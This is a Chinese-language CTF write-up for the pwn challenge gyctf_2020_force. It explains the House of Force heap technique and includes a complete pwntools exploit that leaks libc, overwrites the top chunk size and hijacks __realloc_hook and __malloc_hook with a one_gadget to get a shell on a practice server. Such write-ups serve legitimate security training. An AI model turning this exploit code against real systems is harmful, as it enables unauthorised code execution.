寒假训练 gyctf_2020_force (2/250)

这道题的知识点在wiki上force,就是说把top chunk的size改为-1,并且需要知道top chunk的位置,在进行一次malloc,直接将堆分配到你想写入地址的地方(这里的one_gadget需要平衡栈帧,使栈帧满足one_gadget的环境,可以看这位师傅的博客和这位师傅的博客)

静态分析

就一个add函数和一个假的show函数,并且很容易发现这里没有malloc的size大小限制,还会打印bin的地址,还有堆溢出

 

 思路

  1. 通过静态分析,我们很容易发现没有大小限制,我们直接分配一个很大的地址,造成mmap来为我们分配一块内存给我们用,而mmap分配的内存跟libc的基址有一段固定的偏移(可以通过调试获得),然后通过打印bin地址的功能,就泄露出了libc
  2. 泄露出libc后,我们将top chunk的size大小改成-1,这样我们就可以想分配哪,就分配哪了,所以计算出目标和top chunk的偏移,这里我们要劫持__realloc_hook函数
  3. 计算出偏移后,这个偏移还需要减去0x33,这时top chunk会在(目标地址-0x20的地方),我们将__realloc_hook劫持为我们的one_gadget,但是后面的__malloc_hook需要改成realloc地址+0x10处才行

exp

from pwn import *
context.log_level = 'debug'
#p=process('./gyctf_2020_force')
p=remote('node3.buuoj.cn',29873)
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline('1')
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    addr = int(p.recvuntil('\n').strip(), 16)
    p.recvuntil("content\n")
    p.send(content)
    return addr

def show(index):
    p.recvuntil("2:puts\n")
    p.sendline('2')

offset=add(0x200000,'pppp')
libc_base=0x200ff0+offset
libc=ELF('../libc-2.23.so')
libc.address=0x200ff0+offset
malloc_hook=libc.symbols['__malloc_hook']
one=one_gadget[1] + libc.address
realloc = libc.sym['__libc_realloc']

top=add(0x18,b'p'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))+0x10
print(hex(malloc_hook-top))

offset = malloc_hook - top
add(offset-0x33,'ppp\n')
add(0x10,b'p'*0x8+p64(one)+p64(realloc + 0x10))
#gdb.attach(p)

p.interactive()

参考博客:

BUUCTF-PWN gyctf_2020_force(house of force)

House of force —— gyctf_2020_force(这里讲述了,为什么要偏移0x33)

posted @ 2021-01-07 20:35  PYozo_free  阅读(405)  评论(0编辑  收藏  举报